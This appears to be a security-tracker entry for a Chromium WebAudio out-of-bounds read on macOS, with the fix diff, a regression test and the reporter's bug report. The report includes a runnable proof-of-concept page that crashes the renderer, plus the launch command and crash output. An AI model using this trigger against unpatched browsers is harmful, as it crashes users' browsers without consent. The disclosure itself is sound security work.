Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in WebAudio
DescriptionOut of bounds read in WebAudio
ComponentWebAudio
Bug ClassOOB
Tracker485397283
Fix commit63799115a980 (chromium/src) +89/-33
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-04-07

Changed Functions

FunctionChangeNotes
for
third_party/blink/renderer/platform/audio/biquad.cc
modified

Files Changed

  • third_party/blink/renderer/platform/audio/biquad.cc
  • third_party/blink/web_tests/VirtualTestSuites
  • third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
From 63799115a9800826e2162aef62166ee562479107 Mon Sep 17 00:00:00 2001
From: Michael Wilson <[email protected]>
Date: Tue, 24 Feb 2026 10:26:15 -0800
Subject: [PATCH] Update Biquad for configurable render quantum

Use cached values directly for the Mac path instead of doing pointer
arithmetic, and also add a smoke test.

Bug: 485397283
Change-Id: I5194a8433ed4484e445b0dee7f3586a5baa89be4
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7596165
Reviewed-by: Hongchan Choi <[email protected]>
Reviewed-by: Ian Kilpatrick <[email protected]>
Commit-Queue: Michael Wilson <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1589538}
---

diff --git a/third_party/blink/renderer/platform/audio/biquad.cc b/third_party/blink/renderer/platform/audio/biquad.cc
index f37780c..9d226dc 100644
--- a/third_party/blink/renderer/platform/audio/biquad.cc
+++ b/third_party/blink/renderer/platform/audio/biquad.cc
@@ -132,16 +132,13 @@
     // documented so it's not clear how to update them anyway.
   } else {
 #if BUILDFLAG(IS_MAC)
-    double* input_p = input_buffer_.Data();
-    double* output_p = output_buffer_.Data();
-
     // Set up filter state.  This is needed in case we're switching from
     // filtering with variable coefficients (i.e., with automations) to
     // fixed coefficients (without automations).
-    input_p[0] = x2_;
-    UNSAFE_TODO(input_p[1]) = x1_;
-    output_p[0] = y2_;
-    UNSAFE_TODO(output_p[1]) = y1_;
+    input_buffer_[0] = x2_;
+    UNSAFE_TODO(input_buffer_[1]) = x1_;
+    output_buffer_[0] = y2_;
+    UNSAFE_TODO(output_buffer_[1]) = y1_;
 
     // Use vecLib if available
     ProcessFast(source_p, dest_p, frames_to_process);
@@ -151,11 +148,12 @@
     // automation which needs the history to continue correctly.  Because
     // sourceP and destP can be the same block of memory, we can't read from
     // sourceP to get the last inputs.  Fortunately, processFast has put the
-    // last inputs in input[0] and input[1].
-    x1_ = UNSAFE_TODO(input_p[1]);
-    x2_ = input_p[0];
-    y1_ = UNSAFE_TODO(dest_p[frames_to_process - 1]);
-    y2_ = UNSAFE_TODO(dest_p[frames_to_process - 2]);
+    // last inputs in input_buffer_[0] and input_buffer_[1] and the last outputs
+    // in output_buffer_[0] and output_buffer_[1].
+    x1_ = UNSAFE_TODO(input_buffer_[1]);
+    x2_ = input_buffer_[0];
+    y1_ = UNSAFE_TODO(output_buffer_[1]);
+    y2_ = output_buffer_[0];
 
 #else
     int n = frames_to_process;
@@ -210,12 +208,6 @@
   filter_coefficients[3] = a1_[0];
   filter_coefficients[4] = a2_[0];
 
-  double* input_p = input_buffer_.Data();
-  double* output_p = output_buffer_.Data();
-
-  double* input2p = UNSAFE_TODO(input_p + 2);
-  double* output2p = UNSAFE_TODO(output_p + 2);
-
   // Break up processing into smaller slices (kBiquadBufferSize) if necessary.
 
   int n = frames_to_process;
@@ -224,14 +216,18 @@
     int frames_this_time = n < kBiquadBufferSize ? n : kBiquadBufferSize;
 
     // Copy input to input buffer
-    for (int i = 0; i < frames_this_time; ++i)
-      UNSAFE_TODO(input2p[i]) = *UNSAFE_TODO(source_p++);
+    for (int i = 0; i < frames_this_time; ++i) {
+      UNSAFE_TODO(input_buffer_[i + 2]) = *UNSAFE_TODO(source_p++);
+    }
 
-    ProcessSliceFast(input_p, output_p, filter_coefficients, frames_this_time);
+    ProcessSliceFast(input_buffer_.Data(), output_buffer_.Data(),
+                     filter_coefficients, frames_this_time);
 
     // Copy output buffer to output (converts float -> double).
-    for (int i = 0; i < frames_this_time; ++i)
-      *UNSAFE_TODO(dest_p++) = static_cast<float>(UNSAFE_TODO(output2p[i]));
+    for (int i = 0; i < frames_this_time; ++i) {
+      *UNSAFE_TODO(dest_p++) =
+          static_cast<float>(UNSAFE_TODO(output_buffer_[i + 2]));
+    }
 
     n -= frames_this_time;
   }
@@ -248,10 +244,10 @@
   // m_outputBuffer respectively.  These buffers are allocated (in the
   // constructor) with space for two extra samples so it's OK to access array
   // values two beyond framesToProcess.
-  source_p[0] = UNSAFE_TODO(source_p[frames_to_process - 2 + 2]);
-  UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process - 1 + 2]);
-  dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process - 2 + 2]);
-  UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process - 1 + 2]);
+  source_p[0] = UNSAFE_TODO(source_p[frames_to_process]);
+  UNSAFE_TODO(source_p[1]) = UNSAFE_TODO(source_p[frames_to_process + 1]);
+  dest_p[0] = UNSAFE_TODO(dest_p[frames_to_process]);
+  UNSAFE_TODO(dest_p[1]) = UNSAFE_TODO(dest_p[frames_to_process + 1]);
 }
 
 #endif  // BUILDFLAG(IS_MAC)
@@ -259,13 +255,11 @@
 void Biquad::Reset() {
 #if BUILDFLAG(IS_MAC)
   // Two extra samples for filter history
-  double* input_p = input_buffer_.Data();
-  input_p[0] = 0;
-  UNSAFE_TODO(input_p[1]) = 0;
+  input_buffer_[0] = 0;
+  UNSAFE_TODO(input_buffer_[1]) = 0;
 
-  double* output_p = output_buffer_.Data();
-  output_p[0] = 0;
-  UNSAFE_TODO(output_p[1]) = 0;
+  output_buffer_[0] = 0;
+  UNSAFE_TODO(output_buffer_[1]) = 0;
 
 #endif
   x1_ = x2_ = y1_ = y2_ = 0;
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
       "Android"
     ],
     "bases": [
+      "webaudio/BiquadFilter/biquad-render-size-hint.html",
       "webaudio/WaveShaper/waveshaper-rendersizehint.html"
     ],
     "args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+  <head>
+    <title>BiquadFilterNode RenderSizeHint</title>
+    <script src="../../resources/testharness.js"></script>
+    <script src="../../resources/testharnessreport.js"></script>
+  </head>
+  <body>
+    <script>
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 3000,
+          renderSizeHint: 1,
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 768000,
+          renderSizeHint: (768000 * 6),
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/VirtualTestSuites b/third_party/blink/web_tests/VirtualTestSuites
index f635d60..10b6282 100644
--- a/third_party/blink/web_tests/VirtualTestSuites
+++ b/third_party/blink/web_tests/VirtualTestSuites
@@ -6242,6 +6242,7 @@
       "Android"
     ],
     "bases": [
+      "webaudio/BiquadFilter/biquad-render-size-hint.html",
       "webaudio/WaveShaper/waveshaper-rendersizehint.html"
     ],
     "args": [
diff --git a/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
new file mode 100644
index 0000000..305ad005
--- /dev/null
+++ b/third_party/blink/web_tests/webaudio/BiquadFilter/biquad-render-size-hint.html
@@ -0,0 +1,61 @@
+<!doctype html>
+<html>
+  <head>
+    <title>BiquadFilterNode RenderSizeHint</title>
+    <script src="../../resources/testharness.js"></script>
+    <script src="../../resources/testharnessreport.js"></script>
+  </head>
+  <body>
+    <script>
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 3000,
+          renderSizeHint: 1,
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with minimum renderSizeHint should not crash');
+
+      promise_test(async () => {
+        const ctx = new OfflineAudioContext({
+          numberOfChannels: 1,
+          length: 128,
+          sampleRate: 768000,
+          renderSizeHint: (768000 * 6),
+        });
+
+        // Create a BiquadFilterNode.  By default, it has no automation, so
+        // HasSampleAccurateValues() will return false, which is required to
+        // enter the optimized path.
+        const biquad = new BiquadFilterNode(ctx, {type: 'lowpass'});
+
+        // Connect an oscillator to process some data.
+        const osc = new OscillatorNode(ctx, {frequency: 440});
+        osc.connect(biquad);
+        biquad.connect(ctx.destination);
+        osc.start();
+
+        await ctx.startRendering();
+
+        // If we reach here, the test passed (no crash).
+        assert_true(true, 'Rendering completed without crashing.');
+      }, 'BiquadFilterNode with maximum renderSizeHint should not crash');
+    </script>
+  </body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

Out-of-Bounds Read in Biquad::Process on macOS

Summary

The Biquad::Process method in Chromium’s WebAudio implementation contains a macOS-specific code path that reads filter history from dest_p[frames_to_process - 2], where frames_to_process is uint32_t. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active and renderSizeHint is set to 1, frames_to_process becomes 1, causing the subtraction 1 - 2 to underflow to 0xFFFFFFFF. This results in an out-of-bounds read at approximately 16 GB past the destination buffer, crashing the renderer process with a SIGBUS signal on macOS.

Root Cause

The Biquad class implements IIR filtering for the BiquadFilterNode in the Web Audio API. On macOS, the Process method has an optimized code path that uses Apple’s Accelerate framework (vDSP) for filter computation. After calling ProcessFast to perform the actual filtering, the method saves two history samples from the output buffer for use in the next render quantum:

// third_party/blink/renderer/platform/audio/biquad.cc
void Biquad::Process(const float* source_p,
                     float* dest_p,
                     uint32_t frames_to_process) {
  if (HasSampleAccurateValues()) {
    // ... sample-accurate path (not affected) ...
  } else {
#if BUILDFLAG(IS_MAC)
    double* input_p = input_buffer_.Data();
    double* output_p = output_buffer_.Data();

    input_p[0] = x2_;
    input_p[1] = x1_;
    output_p[0] = y2_;
    output_p[1] = y1_;

    ProcessFast(source_p, dest_p, frames_to_process);

    x1_ = input_p[1];
    x2_ = input_p[0];
    y1_ = dest_p[frames_to_process - 1];
    y2_ = dest_p[frames_to_process - 2];   // underflow when frames_to_process == 1
#else
    // ... non-Mac loop path (not affected) ...
#endif
  }
}

The parameter frames_to_process is declared as uint32_t. When it equals 1, the expression frames_to_process - 2 does not produce -1 as a signed result; instead, the unsigned subtraction wraps around to 0xFFFFFFFF. The subsequent array access dest_p[0xFFFFFFFF] computes a byte offset of 0xFFFFFFFF * sizeof(float) = 0x3FFFFFFFC, approximately 16 GB past the start of the destination buffer. This address is virtually guaranteed to be unmapped, causing a SIGBUS on macOS ARM64.

This macOS-specific path is entered when HasSampleAccurateValues() returns false, which occurs whenever none of the BiquadFilterNode’s audio parameters (frequency, Q, gain, detune) have active automation timelines or incoming audio-rate connections. The BiquadFilterHandler::Process method explicitly sets this state:

// third_party/blink/renderer/modules/webaudio/biquad_filter_handler.cc
} else {
    // No sample-accurate values
    for (const auto& biquad : biquads_) {
        biquad->SetHasSampleAccurateValues(false);
        // ... set fixed filter coefficients ...
    }
}

for (unsigned i = 0; i < biquads_.size(); ++i) {
    biquads_[i]->Process(source_bus->Channel(i)->Data(),
                         destination_bus->Channel(i)->MutableData(),
                         frames_to_process);
}

The frames_to_process value originates from the render quantum size configured via renderSizeHint. When the WebAudioConfigurableRenderQuantum runtime feature is enabled, the user-supplied renderSizeHint is accepted after passing through IsValidRenderQuantumSize, which permits any value from 1 to 6 * sampleRate:

// third_party/blink/renderer/platform/audio/audio_utilities.cc
uint32_t MinRenderQuantumSize() { return 1; }

uint32_t MaxRenderQuantumSize(float sample_rate) {
  return static_cast<uint32_t>(6 * sample_rate);
}

Setting renderSizeHint to 1 passes validation and propagates as frames_to_process = 1 into Biquad::Process, triggering the unsigned integer underflow. The non-macOS code path (the #else branch) uses a signed int n = frames_to_process loop that naturally terminates without out-of-bounds access, so only macOS builds are affected. Note that BUILDFLAG(IS_MAC) applies to all macOS builds regardless of CPU architecture, meaning both Intel and Apple Silicon Macs are vulnerable.

Reproduce

Save the following as poc_biquad_macos_oob_read.html:

<!DOCTYPE html>
<html>
<body>
<script>
async function trigger() {
  try {
    // renderSizeHint = 1: frames_to_process becomes uint32_t(1)
    // In Biquad::Process (macOS vDSP path, HasSampleAccurateValues()==false):
    //   y1_ = dest_p[frames_to_process - 1];  // dest_p[0] - OK
    //   y2_ = dest_p[frames_to_process - 2];  // uint32(1-2) = 0xFFFFFFFF -> OOB read
    const ctx = new OfflineAudioContext({
      numberOfChannels: 1,
      length: 64,
      sampleRate: 44100,
      renderSizeHint: 1
    });

    // BiquadFilterNode with default parameters (lowpass, no automations)
    // No automation -> HasSampleAccurateValues() == false -> enters macOS vDSP path
    const biquad = new BiquadFilterNode(ctx, { type: "lowpass" });

    const osc = new OscillatorNode(ctx, { frequency: 440 });

    osc.connect(biquad);
    biquad.connect(ctx.destination);
    osc.start();

    console.log("[*] renderSizeHint = 1, frames_to_process = 1 (uint32_t)");
    console.log("[*] Biquad::Process macOS path: dest_p[1-2] = dest_p[0xFFFFFFFF]");
    console.log("[*] Expected: heap-buffer-overflow READ on macOS ASAN build");
    console.log("[*] Starting offline rendering...");

    await ctx.startRendering();
    console.log("[!] Rendering completed (unexpected if on macOS ASAN)");
  } catch (e) {
    console.log("[!] Exception: " + e.name + ": " + e.message);
  }
}

trigger();
</script>
</body>
</html>

Download a macOS ARM64 ASAN build of Chromium and run with:

chromium-asan-1586336-mac-arm64/Chromium.app/Contents/MacOS/Chromium \
  --no-sandbox \
  --enable-blink-features=WebAudioConfigurableRenderQuantum \
  poc_biquad_macos_oob_read.html

The --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead.

Output from execution confirms the crash:

Received signal 10 BUS_ADRALN 60340009d47c
 [0x000312433bcc]
 [0x000312407ae8]
 [0x000312433a00]
 [0x00019bfd56a4]
 [0x00032201abfc]
 [0x000322020f40]
 [0x000321f80dc8]
 [0x000321fa05b0]
 [0x000321f9dd50]
 [0x000321f9e1a0]
 [0x00032207f74c]
 [0x00032207e480]
 [0x000322080908]
 [0x0003122ce728]
 [0x000312336280]
 [0x00031233562c]
 [0x0003121b7f2c]
 [0x0003123375e0]
 [0x00031225ca24]
 [0x00030c1ab770]
 [0x000312402218]
 [0x000104d5566c]
 [0x00019bf9bc0c]
 [0x00019bf96b80]
[end of stack trace]

Signal 10 is SIGBUS on macOS, confirming the out-of-bounds read caused by the unsigned integer underflow in Biquad::Process. The renderer process is terminated immediately upon accessing the invalid memory address derived from dest_p[0xFFFFFFFF].

View on issue tracker